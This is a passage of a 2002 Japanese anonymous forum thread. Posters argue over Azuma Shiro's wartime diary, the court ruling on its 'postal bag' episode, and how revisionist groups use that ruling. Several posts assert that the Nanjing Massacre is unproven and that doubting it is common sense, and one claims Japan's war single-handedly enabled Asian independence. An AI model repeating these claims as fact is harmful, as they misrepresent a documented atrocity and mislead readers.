あくまで私が「日本の裁判所は恣意的な判断をするアルよ、国家ぐるみの組織的犯罪隠蔽アルよ!」
と言ってることにしたいのか?

連続投稿につきID変わる。

475 :名無しさん@お腹いっぱい。:02/04/23 04:50 ID:jaC3piO/
>>474

つまり、東史郎日記の訴訟で東が負けた事は決して不当な圧力の結果でなく、
ゴクゴク当然の結果だった。
でよろしいか?

476 : ◆yzlSeA0w :02/04/23 04:58 ID:wewbbrUy
私は別に、東日記が捏造でも構わないのよ。
ただ、「東日記は捏造だ!」と力強く主張する彼のバイアスのかかり具合を晒してるだけ。

それと、「論破」を誇示する彼の理論構成、とってもディベート臭い。
ディベートは勝負が評価対象であって、得られた結論は評価の対象とはならない。

本題とはあまり関係ないけれど...
http://www.st.rim.or.jp/~k-kazuma/DM/DM061.html
http://www.st.rim.or.jp/~k-kazuma/DM/DM.html

477 : ◆yzlSeA0w :02/04/23 05:06 ID:wewbbrUy
>>475
ごくごく当然とは思わないが、訴訟としては問題ないでしょ。
ところが、その判決の利用の仕方は恣意入りまくりのエゲツナイもの。
自由主義史観研究会代表の藤岡信勝が、こんな些細な訴訟を取り上げているという事が
何を意味するのか????
なんで藤岡ともあろう者が、
@ 袋に人間が入るほどの大きさはあったのだろうか。郵便袋はむやみに大きくする必要はないのではないか。
A 袋に入った人が飛びあがることはできない。
B 袋は燃えれば破れてしまうはず。
C 手榴弾を火の近くに持ちこんだら危険
なんて下らない事に言及してるのか?

478 : ◆yzlSeA0w :02/04/23 05:25 ID:wewbbrUy
とまあ、
>>375-377
のリクエストにお答えするとこんな感じになっちゃうんだけど...もうやめません?

479 :名無しさん@お腹いっぱい。:02/04/23 09:31 ID:+WC0Mw0F
>>476-478

頭の悪い馬鹿が言い訳連記でスレを穢している
下らない個人理論をひけらかしている
私物化してんじゃねーか馬鹿

480 :名無しさん@お腹いっぱい。:02/04/23 13:42 ID:1vLxSUpb
>>478
論点が狭すぎ、袋とガソリンだけ
井戸端会議のババーの話か?? 知能拙劣な無知の輩

481 : ◆yzlSeA0w :02/04/23 15:24 ID:wewbbrUy
>>480
おっしゃる通り、論点の狭い訴訟だったんですよ。

482 :どうでもいいけど:02/04/23 19:21 ID:uvwJZMAY
>>422
その情報には誤りがありますな。

仲良くなった状態で四月になるとフラグが立つ、とは限らないみたいです。
というのも当方が熊本城決戦のイベントに遭遇したのは、3月18日でしたから。
この時点では整備兵の面々も到着していないので、ハンガー自体が存在してなかったりします。
だから92mm砲に換装して敵を狙撃する、両肩に盾、とかの戦術も取れないんですね。
というわけで、あの状態になると手の打ちようが無いですな。

・・・・・・って、これハマリだよぅ・・・。

気を取りなおして、今度は柴村と距離を置いて話を進める事にします。
今回は・・・薩摩武士のたしなみ、お稚児さん漁りでもしてみましょうか?
いや・・・主人公自身がお稚児さんみたいなので、ここは坂上教官を狙ってみるか・・・。
できれば、そのうえで二股をかけ、アドンVSロリータの争奪戦を拝んで見たいものです。

>>425
いまさらだが、>>422は本物だよ。

483 :名無しさん@お腹いっぱい。:02/04/23 21:18 ID:vvZ69qmj
赤軍Z様、もう1度中国板へ来て荒らしをやってください。
貴方の嫌いな反中厨房を追い出せ!

484 :ビッダーズ向上委員長:02/04/23 21:34 ID:z1vkpVXn

ヤフーは、どこをどうとっても最悪。

ビッダーズが一番!!!↓
http://www.bidders.co.jp/bpu/1072049

皆、左上の会員登録をクリックして、
入会しよう。

485 :名無しさん@お腹いっぱい。:02/04/23 21:37 ID:GSqY6OLw
>>482
ガンパレはバグの塊だからね。
ときどき戦闘中「○○は、死んだ」なんてハッキリ表示されたのに、
翌日葬式じゃなくてアレ?と思ってると何事も無かったかのように健在だったり。
にもかかわらず名作の名に恥じない所が凄いんだけど。
それにしても3月18日に熊本城は早すぎる。
芝村に萌えるのもたいがいにしなさいって。気持ちは分かるが(藁

486 :左翼の嘘を暴く為にもっと続ければぁ?:02/04/23 21:47 ID:dZ3Yk0sp
>@ 袋に人間が入るほどの大きさはあったのだろうか。郵便袋はむやみに大きくする必要はないのではないか。
>A 袋に入った人が飛びあがることはできない。
>B 袋は燃えれば破れてしまうはず。
>C 手榴弾を火の近くに持ちこんだら危険
>なんて下らない事に言及してるのか?

どう下らないの?
東史郎が嘘を付いてるかどうかという事は、こういうポイントで見極めるしかないじゃん?
それが「論理的思考」なんだよ。
東史郎が嘘を付いてるのは明白。
東日記に真実があると主張したいなら、それがどこであるかを示してくれ。
根拠も付けてな。

487 :名無しさん@お腹いっぱい。:02/04/23 22:12 ID:4YAESsdd
>480 名前:名無しさん@お腹いっぱい。 :02/04/23 13:42 ID:1vLxSUpb
>>478
>論点が狭すぎ、袋とガソリンだけ
>井戸端会議のババーの話か?? 知能拙劣な無知の輩

雑談スレに何を求めてるんだ?
論点が狭くて何が悪い?論点がぼやけてるより全然いいじゃねーか。
知能拙劣で無知なのはお前だろう?
◆yzlSeA0wとその話相手が 「東史郎の嘘」を晒し続けてるのは何かマズイのか?

488 :名無し三等兵:02/04/23 22:47 ID:faQZ0WEp
(;´ー`)y-~~
>>485-どうでもいいけど-ののみ

今更だがゲームの話しは専門板に行ってやりなさい


489 :ののみ:02/04/23 22:47 ID:efQC9DW+
>>482
そ〜だっけ?まちがえちゃったなあ。
じつは まいちゃんと そんなにはやく なかよくなったことが ないの。

ちなみに、くまもとじょ〜までに じょ〜きゅ〜ばんよくちょ〜に なってると、
じゅんりゅ〜しに しょうしんするの。

490 :ののみ:02/04/23 22:49 ID:efQC9DW+
>>488
うん、じゃなくて、はい、じゅんちょ〜です。

491 : ◆yzlSeA0w :02/04/24 01:17 ID:4nWIXz+K
>>486
だって、下らないじゃん。
郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない、
だから南京大虐殺はなかった、って言ってるんだよ?
いや、郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることはできる、
だから南京大虐殺はあった、って言ってるんだよ?

冷静に見てみれば、もんのすご〜〜〜〜く下らない事よ?

中国の情報操作に対抗するにはこのくらいの情報操作が必要だ、確信犯だ、と言ってくれりゃ
同意できるんだけどね。そんなこた言えないか。

492 :名無しさん@お腹いっぱい。:02/04/24 01:49 ID:TLzvg4mp
>郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない、
>だから南京大虐殺はなかった、って言ってるんだよ?
誰がどこでそんな主張をしてるんだ?ソースきぼん。
「だから東史郎の証言は信用できない」あるいは「東史郎の嘘も見抜けない連中は間抜け」
と言ってるだけなんじゃないの?

493 :名無しさん@お腹いっぱい。:02/04/24 02:26 ID:Xkyj4Qme
◆yzlSeA0wは歴史修正主義者を晒してると声高に強調してるようだが、
その実、東史郎や彼を担ぎ出してる反日宣伝勢力の欺瞞性を晒してる様にしか見えない。(藁
それとも、期せずして意に反する結果になっちゃったのかな?(プププ

494 : ◆yzlSeA0w :02/04/24 02:51 ID:4nWIXz+K
>>492
んん?違うよ、自由主義史観研究会は
「南京大虐殺は、完全に無かった」と言ってるんだよ?
そのソースとして写真が捏造だった事や、
アイリスチャン「レイブオブ南京」の記述が不正確だということを根拠としているだろう?
同様にこの東史郎の日記(「わが南京プラトーン」)を否定するための材料として、
「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない」訴訟の勝訴があるわけだ。

これは即ち、自由主義史観研究会が

「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない、
 だから南京大虐殺はなかった」

と言ってることに相違ないんだが。
・写真は捏造だ、だから南京大虐殺はなかった
・朝日新聞の記事では南京は平和だ、だから南京大虐殺はなかった
・郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない、
 だから南京大虐殺はなかった

これが「自由主義史観研究会」の主張だ。

495 : ◆yzlSeA0w :02/04/24 02:55 ID:4nWIXz+K
>>493
>◆yzlSeA0wは歴史修正主義者を晒してると声高に強調してるようだが、

おお、自らを「歴史修正主義者」と認識してるのね...。

>その実、東史郎や彼を担ぎ出してる反日宣伝勢力の欺瞞性を晒してる様にしか見えない。(藁
>それとも、期せずして意に反する結果になっちゃったのかな?(プププ

んん?
中国や韓国の反日プロパガンダなんざ今時常識でしょ?
それに乗っかる左翼の偏りも常識でしょ?

自由主義史観は中共プロパガンダと同じくらいイカガワシイ、っつってんの。

496 : ◆yzlSeA0w :02/04/24 04:13 ID:4nWIXz+K
東の日記は中帰連みたいな中国のプロパガンダ戦略の一環かも知れないよね。
で、その日記を否定する根拠が
「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない」
だけな訳だ。
南京の資料館で東を神格化する中国も中国だが、それを反論するあんたたちの根拠も同じくらい低レベル。

ただ一つ、事実と言えるのは
高裁が「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない」と判断したということだけだ。
それ以上でもそれ以下でもない。

東日記の嘘?国家ぐるみの不当判決?笑止。

つうのが論旨なんだが、DRXは私を論破できたのかな?(笑)

497 :名無しさん@お腹いっぱい。:02/04/24 04:20 ID:qvkXXGqF
「南京大虐殺があった」と主張する側は、一つ一つ「証拠」と称するものを提示して大虐殺の根拠だと言ってるんだから、
大虐殺を否定する時には、提示された「証拠」なるものを一つ一つ検証して潰していくのが当然の手順だ。
その結果、現時点で証拠能力を認められた材料が皆無なら「大虐殺は無かった」と言う結論になる。
その手順によって導き出された結論がいかがわしいと主張するなら、どこに歪曲があるのかを指摘してくれ。
根拠も無く「いかがわしい」を連呼しても無意味。

498 :名無しさん@お腹いっぱい。:02/04/24 04:29 ID:CrgrQNQq
>>◆yzlSeA0wは歴史修正主義者を晒してると声高に強調してるようだが、

>おお、自らを「歴史修正主義者」と認識してるのね...。

君は日本語の勉強が不足してるようだ。
この場合「歴史修正主義者を晒している」と主張しているのが◆yzlSeA0wだという意味の文章に過ぎない。
小学生みたいな揚げ足取りは負け犬のする事だぞ。

499 :名無しさん@お腹いっぱい。:02/04/24 04:38 ID:CrgrQNQq
>>496
◆yzlSeA0wは自分の目的を明言している。
>東を否定する人間を、恣意的に情報を捩じ曲げている輩として晒すことが目的だった。
とね。
Dがこの主張の論破を試みるなら、「東を否定する人間は、必ずしも恣意的に情報を捩じ曲げている輩とは限らない」事を証明すれば良い。
いくら強がっても既に勝敗は明らかだ。

500 : ◆yzlSeA0w :02/04/24 04:43 ID:4nWIXz+K
>「南京大虐殺があった」と主張する側は、一つ一つ「証拠」と称するものを提示して大虐殺の根拠だと言ってるんだから、
>大虐殺を否定する時には、提示された「証拠」なるものを一つ一つ検証して潰していくのが当然の手順だ。

その通りだね。
でだ、「わが南京プラトーン」の証拠能力が無いことの根拠が
「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない」
な訳だ。
これはかなり立派な論拠だよ、なんたって最高裁が棄却したんだから。(笑)

>その結果、現時点で証拠能力を認められた材料が皆無なら「大虐殺は無かった」と言う結論になる。

で、誰が判断するの?証拠能力があるかどうかって。最高裁?



501 :名無しさん@お腹いっぱい。:02/04/24 04:48 ID:CrgrQNQq
>誰が判断するの?証拠能力があるかどうかって。最高裁?
現時点で「証拠能力を認められているモノ」を示してくれ。
それを検証すれば良いだけ。
何一つ示せないなら、「証拠」は皆無だと見なす事が出来る。

502 : ◆yzlSeA0w :02/04/24 04:56 ID:4nWIXz+K
>>499
それでは私への論破にはならないね。
あなたが行わなければならないのは、
東を否定する人間、つまりあなたが、恣意的に情報を捩じ曲げている輩として晒されていないことを示す事だ。
つまり、「最高裁で東証言は嘘つき認定された」という文章が
いかに恣意的でないかを説明しなくてはならない。

本題とはずれるけれど、あなた本当に論理的に書いてるつもり?
「Aは必ずしもBとは限らない」の中には
「AはBである」は含まれるんだよ?
「AはBである」を否定するならば、「AはBでない」事を示さなければならない。

「◆yzlSeA0w は必ずしも日本人であるとは限らない」と示したところで、
「◆yzlSeA0w は日本人である」事を否定したことにはならない。

503 : ◆yzlSeA0w :02/04/24 04:59 ID:4nWIXz+K
>>501
東の日記。(笑)
検証してちょうだいな。
あ、すでに検証されてるか、
「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない」 ってね。

504 :名無しさん@お腹いっぱい。:02/04/24 05:09 ID:CrgrQNQq
>>502
「◆yzlSeA0w は必ずしも日本人であるとは限らない」と示したところで、
「◆yzlSeA0w は日本人である」事を否定したことにはならない。
これだけでは、「◆yzlSeA0w は日本人である」事が証明されている訳ではない。

同様に「東を否定する人間は、恣意的に情報を捩じ曲げている輩」の根拠も成り立っていないんだよ。
Dがやったのは、「証拠も無い決め付け」を晒す事だったのだろう。

>>503
「東の日記に大虐殺の証拠が記述されている」と主張するなら、該当する個所を示してくれ。
どの部分を検証しなくてはならないのかを知っているのはこちらではない。

505 : ◆yzlSeA0w :02/04/24 05:11 ID:4nWIXz+K
ちなみに>>502の後半は、あなたが>>499で単数形を複数形にすりかえたから、
同じく複数形を単数形にすり替えたまで。
こういう姑息なテクニックを使うのはお互いやめにしましょうや。

506 :名無しさん@お腹いっぱい。:02/04/24 05:18 ID:CrgrQNQq
>ちなみに>>502の後半は、あなたが>>499で単数形を複数形にすりかえたから、
>同じく複数形を単数形にすり替えたまで。

ハァ?何の事だ?特技の曲解か?
何を言ってるのか分からん。言いがかりをつけたいならちゃんと説明してくれ。

507 :名無しさん@お腹いっぱい。:02/04/24 05:29 ID:CrgrQNQq
待ちくたびれた。
もう寝ます。

508 : :02/04/24 05:31 ID:MwClImFr
よいしょ♪
http://freehost.kakiko.com/freen/wasyoi.html


509 : ◆yzlSeA0w :02/04/24 06:08 ID:4nWIXz+K
>>504
>これだけでは、「◆yzlSeA0w は日本人である」事が証明されている訳ではない。

ふむ。訴訟になぞらえるならば、立証責任は原告、つまり私にある事って事を言いたいのね。
あなたの記述が恣意的だということを証明しなければならない、と。
「最高裁が東証言を嘘つき認定した」という記述がどれだけ恣意的かはイヤというほど書いた。
私は立証が十分に成功したと思っていますが。

>同様に「東を否定する人間は、恣意的に情報を捩じ曲げている輩」の根拠も成り立っていないんだよ。
>>505の意味は、
A.東を否定する「あなた」が恣意的に情報を捩じ曲げている輩
B.東を否定する人間「全て」が情報を捩じ曲げている輩

私はAの意味で書いている。
あなたはBの意味にすり替えた、と私は読んだ。これは私の誤解かな。
B.ならば、「多数いる東を否定する人間は、全てが必ずしも恣意的に情報を捩じ曲げている輩とは限らない」と言われれば私は頷くしかない。

ところがA.の場合は、「東を否定する人間は、必ずしも恣意的に情報を捩じ曲げている輩とは限らない」
と書くだけでは何ら反証とならない。
反証となるのは、あなたが恣意的でないことを示すことだけだ。

私はあなたに反証を求めており、あなたは私に立証を求めたという事だ。


...なんだか意味のない分析をしてしまったよ。

510 :名無しさん@お腹いっぱい。:02/04/24 06:33 ID:9CGdbOkq
>「最高裁が東証言を嘘つき認定した」という記述がどれだけ恣意的かは・・・
恣意的でない事は明白だ。砕けた表現では有るが、ただの事実に過ぎない。
東の日記を俎上に乗せるに値するものだと認めていたなら、法廷は開かれていた筈。
つまり裁判所は事実上、東史郎の事をうそつき扱いしている訳だ。
>A.東を否定する「あなた」が恣意的に情報を捩じ曲げている輩
この「あなた」は「D」を指すのかな?
Dが恣意的に情報を捻じ曲げてる部分とは何処だい?
彼は東日記の嘘を分かりやすく説明しただけで、捻じ曲げの形跡は無い様に見えるが。
Dがやった事は、東日記を否定するのは論理的に当然の帰結に過ぎない事を示しただけだろう。

511 : ◆yzlSeA0w :02/04/24 08:06 ID:4nWIXz+K
>東の日記を俎上に乗せるに値するものだと認めていたなら
ここが恣意的なんだな、何回も書いてるが。
あの訴訟では、「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げた」という記述「だけ」を巡った訴訟だよ?
これは南京大虐殺の記述ではない。
一方、「東証言」と呼べば、彼が書いた「南京プラトーン」全てを指す。
南京大虐殺とは関係のない記述の不備を以て、南京大虐殺を否定する。
これを私は「恣意的」だと言っている。

>つまり裁判所は事実上、東史郎の事をうそつき扱いしている訳だ。
「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げた」という記述を高裁は「うそ扱い」したの。
その記述に対しての判断であって、「東史郎の事をうそつき扱い」したわけではないんだな。

512 :名無しさん@お腹いっぱい。:02/04/24 17:01 ID:PEm85Q5Z
>その記述に対しての判断であって、「東史郎の事をうそつき扱い」したわけではないんだな。
・・・屁理屈にも程がある。
「嘘つき」の定義が、一生涯一度足りとも事実を述べない人間の事を指すようになったなんて話を聞いてはいないぞ。
日本では、頻度に関わらず、嘘をつく奴を「嘘つき」と呼ぶんだよ。
東日記の筆者が東史郎である限り、郵便袋云々を記述した張本人である東史郎は嘘つきなんだっての。
>一方、「東証言」と呼べば、彼が書いた「南京プラトーン」全てを指す。
それが本当かどうか寡聞にして聞かないが、証言が信憑性を持つなら問題ない。
「東証言」のうち、証拠能力に瑕疵の無さそうな所をイッチョきぼん。
チミは勿体つけずに南京大虐殺の実在を証明する証拠を提示すれば良いんだよ。
時間稼ぎしてる訳でもないなら、さっさと使い物になりそうな証言を引用してくれや。
それが出来なきゃ、結局「南京大虐殺を証明する材料」など最初から無かった事になる。
現時点ではな。

513 : ◆yzlSeA0w :02/04/24 18:08 ID:4nWIXz+K
>>512
敢えて別の例を挙げる。
石器捏造で有名な藤村氏が行った主な発掘は
http://www.jiji.com/edit/topics/data2000/200011/1105netuzou/1106n2.html
である。
これが全て捏造であると言えるか?
全て捏造かもしれないし、捏造が判明しているもの以外は真実かも知れない。

>日本では、頻度に関わらず、嘘をつく奴を「嘘つき」と呼ぶんだよ。
最高裁は、嘘をつく奴を「嘘つき」と呼ぶのでしょうか?
あなたが東を嘘つきと呼ぶのは妥当だが、「最高裁が嘘つきと認定した」という記述は妥当ではない。
権威を利用して恣意的に情報操作するあなたの手法は、中共のプロパガンダと同じノリ。

>>一方、「東証言」と呼べば、彼が書いた「南京プラトーン」全てを指す。
>それが本当かどうか寡聞にして聞かないが、証言が信憑性を持つなら問題ない。
>「東証言」のうち、証拠能力に瑕疵の無さそうな所をイッチョきぼん。
>時間稼ぎしてる訳でもないなら、さっさと使い物になりそうな証言を引用してくれや。

私は「南京大虐殺がある/ない」を検証することには興味はない。
東の日記は真実かも知れないし、虚構かもしれない。
あなたが「南京プラトーン」の虚偽性を問題にしたいのであれば、
あなたが「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない」以外の記述について
その虚偽性を暴露すればいいだけ。

立証責任はあなたにある。
的を得ていれば私や観客は納得するだろう。
試しに
http://www.bekkoame.ne.jp/~ymasaki/azumazen2.htm
を全部反証してみたら?
http://yasai.2ch.net/test/read.cgi/kokusai/1016453791/339-341
みたいな反応しかできないから、あなたには反証は無理かな?
いや、私にも当然実証は不可能だけどね。

514 : ◆yzlSeA0w :02/04/24 18:21 ID:4nWIXz+K
しかし、この不毛な議論、いつまで続けるつもり?
論破したという確証が得られるまで?

515 :ののみ:02/04/24 19:20 ID:9A75v5ud
きっと、しろ〜くんの にっきが しんよ〜できないということを、さらしつづけてる だけなの。
こ〜ゆ〜ふ〜に ろんそうを つづけることは、 しろ〜くんがうそつきだという いんしょ〜を
ほきょ〜する せんでんに なってるのよ。
それがせかいのせんたくなの。

516 : ◆yzlSeA0w :02/04/24 19:41 ID:4nWIXz+K
>>515
>>しろ〜くんの にっきが しんよ〜できないということを、さらしつづけてる だけなの。

そうだよね。
日記は信用できるものではない、という事を
「郵便袋に人を入れて燃やして手榴弾をくくりつけて投げることなんてできない」
という名誉棄損訴訟を利用して力説してるだけなんだよね。

と言う事は、私の論旨は正解であるという事になりますが。

517 :名無しさん@お腹いっぱい。:02/04/24 19:51 ID:avNU/Ku2
正解?
君は自由主義史観陣営の手法が欺瞞に満ちている事を晒してるつもりだったのでは?
だが、自由主義史観陣営ならずとも、嘘の書かれた日記を信用しないのは当然だと思うがね。
それでもなお、東史郎の発言を「軟禁大虐殺の証拠」として採用したいなら、それなりの理由が必要だろう?

518 : ◆yzlSeA0w :02/04/24 20:04 ID:4nWIXz+K
>君は自由主義史観陣営の手法が欺瞞に満ちている事を晒してるつもりだったのでは?

そうだよ。
だから、「南京大虐殺とは関係ない記述に対する訴訟をもって、南京大虐殺についての記述がある部分を否定する」恣意的手法をとっていることを
あなた(>>515)が認めた時点でこの論争は終わり。

>自由主義史観陣営ならずとも、嘘の書かれた日記を信用しないのは当然だと思うがね。

当然だと思わないから、いかに信用できないかを晒す必要があるんでしょ?Aという史料があります。

Aという史料があります。
B:「Aは信用できないなりよ!信用できないなりよ!Aは嘘つき、Aはとんでもない妄言なりよ〜〜〜!!!!」

さて、あなたはBを信用しますか?(笑)

519 :517:02/04/24 20:46 ID:OBwpbT9F
>だから、「南京大虐殺とは関係ない記述に対する訴訟をもって、南京大虐殺についての記述がある部分を否定する」恣意的手法をとっていることを
>あなた(>>515)が認めた時点で

そんな事は認めてません。
人が言ってない事を捏造しないでね。(藁
私は、現時点で提示されている「南京大虐殺の証拠」が怪しいと言ってるだけ。
その見解に意義を唱えるものは、東史郎の証言の中で信用に値すると思うものを提示する必要がある。
それを怠って、「東証言の他の個所は信用できる」と連呼されても納得できないね。
東を信用できると主張したいなら、その根拠の提示はそちらの義務だよ。
今の所全くそれが出来てないなら、東はただの嘘つきでしかない。

520 : ◆yzlSeA0w :02/04/24 22:25 ID:4nWIXz+K
>>だから、「南京大虐殺とは関係ない記述に対する訴訟をもって、南京大虐殺についての記述がある部分を否定する」恣意的手法をとっていることを
>>あなた(>>515)が認めた時点で
>
>そんな事は認めてません。
>人が言ってない事を捏造しないでね。(藁

ということは、
>486 :左翼の嘘を暴く為にもっと続ければぁ? :02/04/23 21:47 ID:dZ3Yk0sp
とか
>493 :名無しさん@お腹いっぱい。 :02/04/24 02:26 ID:Xkyj4Qme
>◆yzlSeA0wは歴史修正主義者を晒してると声高に強調してるようだが、
>その実、東史郎や彼を担ぎ出してる反日宣伝勢力の欺瞞性を晒してる様にしか見えない。(藁
>それとも、期せずして意に反する結果になっちゃったのかな?(プププ

はあなたの発言ではないのですね?

>私は、現時点で提示されている「南京大虐殺の証拠」が怪しいと言ってるだけ。
>その見解に意義を唱えるものは、東史郎の証言の中で信用に値すると思うものを提示する必要がある。

そうでしょうね。
で、私はそんな事は1回たりとも発言しておらず、
【「南京大虐殺の証拠」が怪しい】事の根拠が怪しい、と言っている。
その見解に意義を唱えるものは、
東史郎の訴訟判決がいかに南京大虐殺を否定するに十分な材料であるかを提示する必要がある。
それを怠って、「最高裁が東史郎を嘘つき認定した」と連呼されても納得できないね。
最高裁が東を嘘つき認定したと主張したいなら、その根拠の提示はそちらの義務だよ。
今の所全くそれが出来てないから、あなたの発言は恣意的なものでしかない。

521 :名無しさん@お腹いっぱい。:02/04/24 22:48 ID:njv4FR9e
「南京大虐殺の証拠が怪しい」という主張は、これまで「証拠」としてまかり通ってきたさまざまな話に、
「証拠能力」が無い事を指摘する事によって成立して来た。
このスタンスに疑問があるなら、証拠能力の有無を議論しなくては始まらない。
それ以外に妥当な見解か否かを見極める手段はないだろう。
例えば郵便袋の例は明白な嘘だと分かったし、その嘘を紡ぎ出した本人が「証言」する他の主張を鵜呑みにしないのも当然。
そのような当然極まりない態度に敢えて疑問を持つなら、その根拠を提示する必要があるのはそちらなんだよ。
こちらは単に、嘘つきの発言を真に受ける動機がないだけなんだからね。
「嘘つきの発言を真に受ける動機がない」のは当然の態度であって、
嘘つきの発言を真に受ける動機が無い事の根拠は、郵便袋の検証で成立している。
どこが疑問なんだね?

522 :名無しさん@お腹いっぱい。:02/04/24 23:00 ID:njv4FR9e
ややこしくなったんで整理すると、
「南京大虐殺に疑問を持つ理由」は、従来喧伝されてきた「証拠」が、捏造されている疑惑があるという事。
つまり、疑惑が実在した事を証明すれば成立するし、実際成立して来た。
今では政治的な背景を持った勢力による工作の形跡を疑う者は殆ど存在しない。
従って、「南京大虐殺に疑問をもつ」事は常識に昇格した訳。

翻って
>【「南京大虐殺の証拠」が怪しい】事の根拠が怪しい、と言っている。
様な人は、常識に疑問を呈しているのだから、根拠の提示無くして話が始まらない訳。

523 :名無しさん@お腹いっぱい。:02/04/24 23:01 ID:1GUFgCYf
ややこしくなったんで整理すると、
「南京大虐殺に疑問を持つ理由」は、従来喧伝されてきた「証拠」が、捏造されている疑惑があるという事。
つまり、疑惑が実在した事を証明すれば成立するし、実際成立して来た。
今では政治的な背景を持った勢力による工作の形跡を疑う者は殆ど存在しない。
従って、「南京大虐殺に疑問をもつ」事は常識に昇格した訳。

翻って
>【「南京大虐殺の証拠」が怪しい】事の根拠が怪しい、と言っている。
様な人は、常識に疑問を呈しているのだから、根拠の提示無くして話が始まらない訳。

524 :名無しさん@お腹いっぱい。:02/04/24 23:02 ID:1GUFgCYf
二重カキコ失礼。

525 : ◆yzlSeA0w :02/04/24 23:17 ID:4nWIXz+K
>>521
はい誘導ご苦労さん。
私は東史郎の訴訟判決の、あなた及び自由主義史観研究会、そして中国および左翼の利用の仕方の恣意の度合いについてしか語っていないのだが?
東史郎訴訟判決を「南京大虐殺の証拠が怪しい」事の根拠とした事を批判しているのであり、
「南京大虐殺の証拠が怪しい」という主張の成立の過程などを尋ねてはいない。
それについて語りたければ一人で勝手に語るがいい。

>嘘こちらは単に、嘘つきの発言を真に受ける動機がないだけなんだからね。

つまり、あなたにはバイアスがかかっている、という事だ。中国や共産党系市民団体と同様に。


526 :名無しさん@お腹いっぱい。:02/04/24 23:38 ID:GFNFFxPR
東史郎という人物の異常性を説明するのに、郵便袋の話を取り上げるのは不自然ではなかろう。
そのような人物の証言を信用出来ると強弁するなら、個々の証言を改めて検証しなくてはならない。
何故なら、かつての戦友や自分自身の名誉を踏みにじってまで、出鱈目な嘘を体験談と称していた人物だからだ。
従って、東史郎の証言を「南京大虐殺の証拠」として扱う前に検証は不可欠。
検証後に問題点が見出せなかった内容があるとするなら、そこで初めてその証言に限って証拠能力を認められなくてはならない。
この手順をはしょって、「他の証言は信用すべき」という前提で話すのはおかしい。


>>嘘こちらは単に、嘘つきの発言を真に受ける動機がないだけなんだからね。

>つまり、あなたにはバイアスがかかっている、という事だ。中国や共産党系市民団体と同様に。

東史郎が嘘つきである事は疑いの余地がない。
嘘つきを嘘つきとして扱うのは当然の対応だよ。
嘘つきを嘘つきでないかのように扱えば、バイアスがかかった状態と言える。

527 :エラワン ◆X0jRLHdw :02/04/24 23:51 ID:02r2D8/C
◆yzlSeA0wさんは以前、自由主義史観は論破が簡単だと言いましたが、日本が大東亜戦争によってアジア諸国に独立のキッカケを与え、
その戦争が無ければ今もアジア諸国は欧米の植民地から独立できなかったという事実だけは論破できないように思われるけどどうかな。
なぜなら、もし、日本が大東亜戦争で白人植民地軍を木っ端微塵に粉砕しなければ白人絶対神話はいまだに健在だったから植民地人が白人と戦おうという気も起きなかったはずだし、
日本からの民族意識を高める為の教育や軍事教育が無いから独立しようと考える人も皆無だったはずだし、
日本軍からの軍事教育や武器供与がなければ欧米と戦う力も無かったからだ。(まさか農具や素手で戦えとでも?)
ただ、日本がアジア諸国を解放したというのは半分間違いだと俺は思っている。なぜなら、日本が独立のキッカケを与えても実際に血を流して戦ったのは現地人なのだから。
(マレーシアやビルマなどの場合は実際に戦ってはいないが武力を背景にした交渉で独立を勝ち取ったし、
例え欧米が再植民地化しようとしてもインドネシアやインドのように、それらの国も失敗に終っただろう。)
結果として、日本がやったのはアジア諸国に独立のキッカケを与えただけで、実際に独立を勝ち取ったのは彼ら自身の力だ。
ただし、いくら現地人が独立へ向けて頑張っても大東亜戦争が無ければ独立は不可能だっただろう。
大東亜戦争という日本によるキッカケと、彼ら自身の努力がそろって初めて独立が可能だったと俺は思う。


528 : ◆yzlSeA0w :02/04/25 00:10 ID:wKZwX5g8
>>526
>東史郎という人物の異常性を説明するのに、郵便袋の話を取り上げるのは不自然ではなかろう。

ふふ、私はそこは問題にしてないのに。
やはり「なぜあの記述を訴訟の題材に選んだか」の不合理性には気づいてるのね。

>東史郎の証言を「南京大虐殺の証拠」として扱う前に検証は不可欠。

ではお好きなように検証して下さいよ。
ただし、「郵便袋に中国人を詰めてガソリンをかけて燃やして手榴弾をつけて沼にほうりこんだ」という記述以外でね。
南京大虐殺と関係のない記述を検証しても、南京大虐殺についての記述を検証することにはならないのでね。


529 :名無しさん@お腹いっぱい。:02/04/25 00:27 ID:8GJTa4Da
>やはり「なぜあの記述を訴訟の題材に選んだか」の不合理性には気づいてるのね。

そんな不合理性なんてものはないよ。
あの訴訟は、身に覚えの無い事を書かれた元戦友が「何じゃいそら!?」と突っ込んだ事から始まった筈。
東史郎という人物の精神状態を窺い知るのに、これ程分かり易い題材はあるまい。
この訴訟で東史郎がおかしな発言をする人物である事をはっきりさせたからこそ、南京に関する証言とやらが出て来ても、
「このような作為のある人物の発言であるから、鵜呑みにはできない」事が明確になるという効果を期待できる。
あの訴訟を取り上げるのは、合理的極まりない事だよ。
さて、検証を始めるのは結構だが、東史郎の南京大虐殺に関する証言とは、どれかな?
あの嘘つきが例外的に嘘をついてなかった事が判明した個所があるなら、大ニュースかもしれない。
だが、こちらにはその個所がどこだか分からないんだよ。
南京大虐殺に関して信用に値する証言が記された個所があるかのように主張するなら、その個所は君が教えてくれなきゃ分からんよ。

530 : ◆yzlSeA0w :02/04/25 00:37 ID:wKZwX5g8
>>527
>なぜなら、もし、日本が大東亜戦争で白人植民地軍を木っ端微塵に粉砕しなければ
>白人絶対神話はいまだに健在だったから植民地人が白人と戦おうという気も起きなかったはずだし、
>日本からの民族意識を高める為の教育や軍事教育が無いから独立しようと考える人も皆無だったはずだし

1860(万延元年)フランス軍、グエン・チ・フォン将軍の率いるサイゴン包囲軍を破る
1910(明治43)ラオスのボロヴェン地方で反仏蜂起
1918(大正6)ベトナムのライチャウ地方,上ラオスで反仏反乱勃発
1940(昭和15)ラオス・カンボジャ国境で仏国・タイ間に国境紛争勃発

